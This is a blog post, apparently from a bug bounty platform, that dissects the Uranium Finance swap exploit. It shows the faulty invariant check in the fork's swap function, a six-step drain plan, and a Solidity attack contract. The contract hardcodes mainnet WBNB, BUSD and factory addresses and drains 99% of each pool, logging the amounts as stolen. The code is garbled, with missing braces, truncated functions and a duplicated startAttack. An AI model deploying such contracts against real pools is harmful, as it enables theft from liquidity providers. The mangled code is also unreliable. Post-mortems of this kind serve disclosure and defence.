Published in


Building A PoC For The Uranium Heist



Fee = 0.997
Kbefore = XbeforeYbefore
Kafter = (FeeXafter)(FeeYafter)
Kafter >= Kbefore

Root Cause

{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), ‘UniswapV2: K’);
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(16));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(16));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), ‘UraniumSwap: K’);

Proof of Concept Heist

  1. Send BNB to attack contract
  2. Wrap BNB
  3. Send some WBNB to the pair contract
  4. Trigger Swap() to drain BUSD
  5. Send some BUSD to the pair contract
  6. Trigger Swap() to drain WBNB

The Attack

pragma solidity >=0.8.0;
import “@openzeppelin/contracts/token/ERC20/IERC20.sol”;
import “@openzeppelin/contracts/access/Ownable.sol”;
import “@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol”;
import “@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol”;
import “@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol”;
import “hardhat/console.sol”;
interface IWrappedNative {
function deposit() external payable;
contract Uranium is Ownable {
constructor() public {}
receive() external payable {}
fallback() external payable {}
address private constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address private constant uraniumFactory = 0xA943eA143cd7E79806d670f4a7cf08F8922a454F;
function wrap() internal {
IWrappedNative(wbnb).deposit{value: address(this).balance}();
console.log(“WBNB start : “, IERC20(wbnb).balanceOf(address(this)));
} function startAttack() public payable {
function takeFunds(address token0, address token1, uint amount) internal {
IUniswapV2Factory factory = IUniswapV2Factory(uraniumFactory);
IUniswapV2Pair pair =
IUniswapV2Pair(factory.getPair(address(token1), address(token0)));
IERC20(token0).transfer(address(pair), amount);
uint amountOut = (IERC20(token1).balanceOf(address(pair)) * 99) / 100;
pair.token0() == address(token1) ? amountOut : 0,
pair.token0() == address(token1) ? 0 : amountOut,
new bytes(0)
function startAttack() public payable {
takeFunds(wbnb, busd, 1 ether);
takeFunds(busd, wbnb, 1 ether);
console.log(“BUSD STOLEN : “,
console.log(“WBNB STOLEN : “,




Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store

Immunefi is the premier bug bounty platform for smart contracts, where hackers review code, disclose vulnerabilities, get paid, and make crypto safer.